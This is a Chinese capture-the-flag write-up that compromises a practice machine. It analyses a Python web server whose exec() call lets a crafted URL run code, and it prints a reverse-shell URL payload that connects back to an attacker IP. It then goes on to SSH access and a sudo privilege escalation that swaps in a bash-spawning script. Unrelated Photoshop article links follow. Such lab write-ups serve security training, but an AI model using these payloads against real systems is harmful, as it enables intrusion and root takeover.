百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

「内网渗透」记一次靶机实战 靶机flag

itomcoil 2024-12-23 11:08 15 浏览

一、信息收集

1.端口扫描

使用nmap进行端口扫描,发现其开放了22、80、8080、9000端口。

访问其8080端口,发现是一个web界面。

浏览页面内容,提升有一些提示。

【一一帮助安全学习,所有资源关注我,私信回复“资料”获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

提示存在一个py脚本,访问看看。

发现提示是404

2.目录爆破

使用gobuster进行目录爆破。

gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,发现都是404.

3.使用wfuzz进行fuzz

由于我们不知道文件存放在那个具体路径下,所以将使用wfuzzurl 来定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路径。

wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367

发现它在/developer目录之下。

访问看看。成功看到脚本内容。

4.代码分析

将源码copy出来,然后进行分析。

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}

class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the received data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"

        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

在翻译源码过程中,第一眼就看到了注释的地方。就想到了exec函数。

根据 This is how you do string formatting, right?,的意思:不,这不是您进行字符串格式化的方式。path将用户输入 ( )传递给exec总是很危险的。我开始翻阅代码,看看是否可以控制path它何时进入serveDoc.

def handleRequest(self, request, conn, address):
    if request.good:
        document = self.serveDoc(request.doc, DOC_ROOT)
        statusNum=document["status"]
    else:
        document = self.serveDoc("/errors/400.html", DOC_ROOT)
        statusNum="400"
    body = document["body"]

还有这句注释:Set the response to echo back the received data,然后开始读源码。如果这request.good为真,我会失去控制,path被硬编码为"/errors/400.html".

handleRequest从以下位置调用listenToClient:

def listenToClient(self, client, address):
    size = 1024
    while True:
        try:
            data = client.recv(size)
            if data:
                # Set the response to echo back the received data 
                req = Request(data.decode())
                self.handleRequest(req, client, address)
                client.shutdown()
                client.close()
            else:
                raise error('Client disconnected')
        except:
            client.close()
            return False

这是一个循环,它接收数据,处理成一个Request对象,然后调用handleRequest ,条件就是该Request对象.good是真,并且.doc是我的测试代码。

该类Request将数据转换为对象__init__:

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

只要数据具有带有 url、版本、标题和正文等正常格式,它就会返回self.good = True. 而且,这doc就是 url 字符串中的内容,是可控的。

二、漏洞利用

当exec在该字符串上调用时,它会保存output,但也会进行os.system调用。如果我想使用subprocess而不是运行进程os,我需要这样做。/';os.system('ping%20-c%201%2010.10.10.168');'

1.编写poc

http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc开始监听1234端口

2.反弹shell

进入home目录下,发现存在一个SuperSecureCrypt.py脚本,使用-h命令会提示其用法。

还有一些pass.txt,check.txt等。

使用python获得交互式shell,python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

3.获取登录密码

在BetterSSH目录下,存在解密脚本check.txt、out.txt及passwordreminder.txt。

使用脚本来获取登录密码

python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df

成功获取到登录密码。

4.SSH登录

使用ssh进行远程登录。

成功找到了第一个user.txt文件。

三、权限提升

sudo -l 发现了存在BetterSSH.py可执行root.

1.脚本分析

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "#34; in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('/pre>)[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6/pre>+salt+'/pre>
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

这个脚本:

  • 创建一个随机路径名。
  • 从用户那里读取用户名和密码。
  • 读取/etc/shadow、提取包含 的行$并将其写入/tmp/SSH/[random path].
  • 睡眠 0.1 秒。
  • 循环修剪文件中的每一行shadow,并根据输入密码的哈希检查每个哈希。成功时,它设置session[‘authenticated’] = 1. 失败时,它会删除临时shadow文件并退出。
  • 删除临时shadow文件。
  • 进入读取命令、执行命令并显示结果的无限循环。

2.创建一个/tmp/SSH目录,必须是大写,小写的会报错。

输入之前获取到的用户和密码。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py执行脚本。

出现Authed,然后退出。

2.移动BetterSSH 目录进行权限提升

使用ls -ld robert进行查看其权限,同理也查看一下BetterSSH的。

我的思路就是打算删除这个目录,然后重新创建一个,写入提权的脚本。

使用rm -rf 强制删除,提升权限不够。这里有一个小trips,我们不能删除,我们可以将它进行移动。然后在创建一个新的。使用mv BetterSSH{,-old}来完成操作。

然后mkdir创建新的目录。使用echo写入提权语法。最后使用sudo执行脚本。

echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py 
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

3.获得root权限

成功获得root权限,并最后找到了root.txt,成功完成靶机。

总结:

靶机难度属于中等靶机水平,全文思路就是信息收集,使用nmap或者masscan进行端口扫描,访问web页面,发现提示,接着使用wfuzz进行指定路径fuzz。然后找到py脚本,接着进行脚本分析,发现脚本存在的漏洞。构造poc然后进行反弹shell,反弹shell之后,发现存在另一个新的脚本,存在密码加密方式和密码本。进行解密,解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限,接着进行移动该目录写入提权语法成功提权。

相关推荐

PS小技巧 调整命令,让人物肤色变得更加白皙 #后期修图

我们来看一下如何去将人物的皮肤变得更加的白皙。·首先选中图层,Ctrl键加J键复制一层。·打开这里的属性面板,选择快速操作删除背景,这样就会将人物进行单独的抠取。·接下来在上方去添加一个黑白调整图层,...

把人物肤色提亮的方法和技巧

PS后期调白肤色提亮照片的方法。一白遮百丑,所以对于Photoshop后期来说把人物肤色调白是一项非常重要的任务。就拿这张素材图片来说,这张素材图片人脸的肤色主要偏红、偏黄,也不够白皙,该怎样对它进行...

《Photoshop教程》把美女图片调成清爽色彩及润肤技巧

关注PS精品教程,每天不断更新~~室内人物图片一般会偏暗,人物脸部、肤色及背景会出现一些杂点。处理之前需要认真的给人物磨皮及美白,然后再整体润色。最终效果原图一、用修补工具及图章工具简单去除大一点的黑...

PS后期对皮肤进行美白的技巧

PS后期进行皮肤美白的技巧。PS后期对皮肤进行美白的技巧:·打开素材图片之后直接复制原图。·接下来直接点击上方的图像,选择应用图像命令。·在通道这里直接选择红通道,混合这里直接选择柔光,然后点击确定。...

493 [PS调色]调模特通透肤色

效果对比:效果图吧:1、光位图:2、拍摄参数:·快门:160;光圈:8;ISO:1003、步骤分解图:用曲线调整图层调出基本色调。用可选颜色调整图层调整红色、黄色、白色和灰色4种颜色的混合比例。用色彩...

先选肤色再涂面部,卡戴珊的摄影师透露:为明星拍完照后怎么修图

据英国媒体12月17日报道,真人秀明星金·卡戴珊终于承认,她把女儿小北P进了家族的圣诞贺卡,怪不得粉丝们都表示这张贺卡照得非常失败。上周,这位39岁的女星遭到了一些粉丝针对这张照片的批评,她于当地时间...

如何在PS中运用曲线复制另一张照片的色调

怎样把另一张作品的外观感觉,套用到自己的照片上?单靠肉眼来猜,可能很不容易,而来自BenSecret的教学,关键是在PS使用了两个工具,让你可以准确比较两张照片的曝光、色调与饱和度,方便你调整及复制...

PS在LAB模式下调出水嫩肤色的美女

本PS教程主要使用Photoshop使用LAB模式调出水嫩肤色的美女,教程调色比较独特。作者比较注重图片高光部分的颜色,增加质感及肤色调红润等都是在高光区域完成。尤其在Lab模式下,用高光选区调色后图...

在Photoshop图像后期处理中如何将人物皮肤处理得白皙通透

我们在人像后期处理中,需要将人物皮肤处理的白皙通透,处理方法很多,大多数都喜欢使用曲线、磨皮等进行调整,可以达到亮但是不透,最终效果往往不是很好,今天就教大家一种如何将任务皮肤处理得白皙通透,希望能帮...

PS调色自学教程:宝宝照片快速调通透,简单实用!

PS调色自学教程:宝宝照片快速调通透。·首先复制图层,然后选择进入ACR滤镜,选择曲线锁定照片的亮部,也就高光位置,其他部位补亮一点,尤其是阴影的部位补亮多一些,让画面的层次均匀一点。·然后回到基本项...

【干货】如何利用PS进行人物美化

人物图像美化在Photoshop中非常常用,Photoshop作为一款功能强大的图像处理软件,不仅可以对人像进行基本的调色、美化和修复等处理,还可以改变人物的线条和幅度,如调整脸部器官和脸型的大小、调...

教大家一种可以快速把肤色处理均匀的方法@抖音短视频

快速把肤色处理均匀的方法。今天教大家一种可以快速把肤色处理均匀的方法。像这张照片整体肤色走紫红色,但是局部偏黄缘处理起来非常的麻烦。其实我们只需要新建空白图层,图层混合模式更改为颜色,再选择画笔工具把...

PS调色教程 利用RAW调出干净通透的肤色

要么不发,要么干货。后期教程来噜~用RAW调出干净通透的肤色。这次终于不会原片比PS后好看了吧。如果你依然这么觉得,请不要残忍的告诉我这个事实,泪谢TAT)附送拍摄花絮,感谢各位的支持更多风格请关注m...

photoshop后期皮肤变白的技巧

PS后期皮肤变白的技巧。1.PS后期让皮肤变白的方法有很多种,接下来教你一种非常简单容易上手的方法。2.打开素材图片之后,直接在小太极下拉框的位置添加一个纯色调整图层,颜色设置一个纯白色,点击...

Photoshop调出人物的淡雅粉嫩肤色教程

本教程主要使用Photoshop调出人物的淡雅粉嫩肤色教程,最终的效果非常的通透迷人,下面让我们一起来学习.出自:86ps效果图:原图:1、打开原图复制一层。2、用Topaz滤镜磨皮(点此下载)。3、...